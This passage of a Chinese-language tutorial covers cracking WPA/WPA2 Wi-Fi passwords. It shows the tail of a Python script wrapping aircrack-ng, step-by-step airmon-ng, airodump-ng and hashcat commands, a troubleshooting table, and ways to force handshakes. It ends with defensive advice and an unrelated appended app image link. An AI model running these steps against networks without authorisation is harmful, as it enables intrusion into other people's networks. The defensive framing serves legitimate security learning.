print(f破解成功目标 {args.bssid} 的密码是: {pwd}) print(f{*50}) else: print(\n破解未成功请尝试更强大的字典或检查握手包文件。) except KeyboardInterrupt: print(\n[!] 程序被用户中断。) except Exception as e: print(f\n[!] 程序运行出错: {e}) finally: # 确保清理 cracker.cleanup() if __name__ __main__: main()主函数将流程串联起来并提供了命令行参数接口。使用时你需要先用sudo airmon-ng start wlan0之类的命令测试网卡并用sudo airodump-ng wlan0mon扫描获取目标的BSSID和信道然后再运行本脚本。4. 实战操作流程与避坑指南有了脚本我们来看看一次完整的实战操作流程以及每一步可能遇到的“坑”。4.1 完整操作步骤环境准备与信息收集启动一个Linux测试环境物理机或虚拟机均可但虚拟机需使用USB外接兼容网卡。运行iwconfig确认无线网卡接口名通常是wlan0。运行sudo airmon-ng start wlan0开启监听模式得到监听接口名如wlan0mon。运行sudo airodump-ng wlan0mon扫描周围Wi-Fi。记下目标的BSSID 路由器的MAC地址如AA:BB:CC:DD:EE:FF。CH 信道如6。ESSID 网络名称用于制作定向字典。准备字典将你的密码字典文件如common_pass.txt放在脚本可访问的目录。可选根据目标ESSID生成定制字典。例如对于“HomeNet-5G”可以写个简单的Python脚本生成homenet,HomeNet,HomeNet123等候选词追加到字典中。运行自动化脚本sudo python3 wifi_cracker.py -i wlan0 -b AA:BB:CC:DD:EE:FF -c 6 -w ./common_pass.txt脚本会自动切换网卡模式、开始抓包。此时你需要等待一个客户端连接目标Wi-Fi。如果已经有设备在线可以尝试让其断线重连比如关闭再打开手机的Wi-Fi以触发四次握手过程。一旦控制台显示“成功捕获到WPA握手包”抓包阶段即完成。等待破解结果脚本会自动开始破解。你会在屏幕上看到aircrack-ng实时尝试密码的速度和进度。如果密码在字典中最终会显示“KEY FOUND”和密码。如果字典耗尽则提示失败。4.2 常见问题与排查技巧实录在实际操作中你几乎一定会遇到下面这些问题。我把它们和解决方案整理成了表格方便你快速排查。问题现象可能原因排查与解决步骤airmon-ng start失败提示“No such device”或“SIOCSIFFLAGS: Operation not possible due to RF-kill”1. 网卡驱动不支持监听模式。2. 网卡被系统射频开关RF-kill软/硬屏蔽。1.检查网卡型号用lspci | grep -i network或lsusb查看并搜索该型号是否支持监听模式如Atheros AR9271, Ralink RT3070支持。2.解除RF-kill运行rfkill list all查看如果被软屏蔽Soft blocked: yes运行rfkill unblock wifi如果是硬屏蔽Hard blocked需要查找笔记本的物理无线开关或Fn组合键。airodump-ng扫描不到任何Wi-Fi信号1. 网卡未成功进入监听模式。2. 使用了错误的接口名。3. 在虚拟机中USB网卡未正确穿透或驱动有问题。1. 用iwconfig确认接口是否处于Mode:Monitor。2. 确认使用的是监听模式接口如wlan0mon而不是普通接口wlan0。3. 在虚拟机设置中确保USB设备已连接给客户机并在Linux内用dmesg | tail查看内核是否识别到新网卡。能扫描到信号但始终抓不到目标握手包1. 目标网络没有客户端活动。2. 目标使用了WPA3或企业级认证WPA-Enterprise本方法无效。3. 信道或BSSID输入错误。4. 距离太远或信号太差。1.耐心等待或主动触发这是最常见原因。等待有设备连接或如果你有授权可以让已连接的设备断开重连。2.确认认证方式airodump-ng输出中目标的AUTH列应为PSK预共享密钥如果是MGT管理帧则为企业级。3. 仔细核对airodump-ng扫描结果中的BSSID和信道。4. 尝试靠近目标路由器。抓到握手包后aircrack-ng破解速度极慢每秒尝试个位数密码1. 字典文件过大且未使用GPU加速。2. CPU性能太弱。3. 握手包文件损坏或不完整。1.使用更精准的字典不要一开始就用上GB的字典。先用小型、精选的弱口令字典。2.考虑GPU加速aircrack-ng主要靠CPU。对于大型字典应考虑使用hashcat工具它支持GPU破解速度可提升成百上千倍。命令类似hashcat -m 2500 handshake.cap wordlist.txt。3. 可以尝试用aircrack-ng -J test handshake.cap将cap文件转换为hashcat支持的hccapx格式。aircrack-ng提示“No valid WPA handshakes found”抓取的.cap文件中不包含完整的四次握手数据包。1. 重新抓包确保在握手发生时airodump-ng正在运行。2. 可以尝试使用wpaclean工具清理cap文件wpaclean out.cap handshake.cap再用out.cap去破解。3. 使用aircrack-ng handshake.cap命令不加字典可以验证文件内是否包含握手包。脚本执行权限问题或依赖缺失1. 未使用sudo运行需要root权限的命令。2. Python脚本本身没有执行权限。3.aircrack-ng套件未安装。1. 确保脚本中调用airmon-ng,airodump-ng,aircrack-ng的命令前都加了sudo并且当前用户有sudo权限。2. 给脚本加执行权chmod x wifi_cracker.py。3. 安装依赖sudo apt install aircrack-ng。4.3 高阶技巧与防御视角从攻击中学习防御才是这个项目的终极目的。提升破解效率分布式破解将超大字典分割在多台机器上同时运行aircrack-ng或hashcat这是专业渗透测试的做法。规则攻击使用hashcat的规则模式可以对基础字典进行极其复杂的变换如大小写翻转、添加前后缀、leet语替换等极大扩展字典的覆盖面。彩虹表不适用由于WPA/WPA2的PSK计算引入了SSID作为“盐值”相同的密码在不同的SSID下会产生不同的密钥。因此针对WPA2的通用彩虹表几乎不存在必须针对目标SSID实时计算。从防御角度看密码安全绝对不要使用弱口令像“12345678”、“password”、“自家电话号码”、“简单英文单词”这类密码在哪怕很小的字典面前也撑不过一秒。密码长度与复杂度WPA/WPA2-PSK密码要求8-63字符。建议使用不少于12位的随机组合包含大小写字母、数字和特殊符号。例如可以使用Diceware方法生成易记但熵值高的密码短语。隐藏SSID作用有限隐藏SSID不广播只能防君子airodump-ng等工具可以轻易地从客户端探针请求中捕获到隐藏的SSID。启用WPA3如果路由器和设备支持请升级到WPA3认证。WPA3的SAESimultaneous Authentication of Equals协议能有效防御离线字典攻击。MAC地址过滤这是一个额外的防御层但MAC地址可以被侦听和伪造不能作为唯一的安全措施。定期更换密码尤其是当你怀疑网络可能被嗅探过后。这个项目让我最深的体会是安全是一个动态的过程而非一劳永逸的设置。通过亲手实践一次“破解”你会对“弱口令”这三个字有刻骨铭心的认识。在给自己的网络设置密码时你可能会不由自主地多想几秒而这多想的几秒可能就是安全与风险的分界线。最后请务必记住技术是把双刃剑所有的学习和测试都应在法律和道德允许的范围内在你自己可控的环境中进行。
![[Android] 顶顶 1.0.0 -固定通知+通知历史查看搜索](http://pic.xiahunao.cn/yaotu/[Android] 顶顶 1.0.0 -固定通知+通知历史查看搜索)
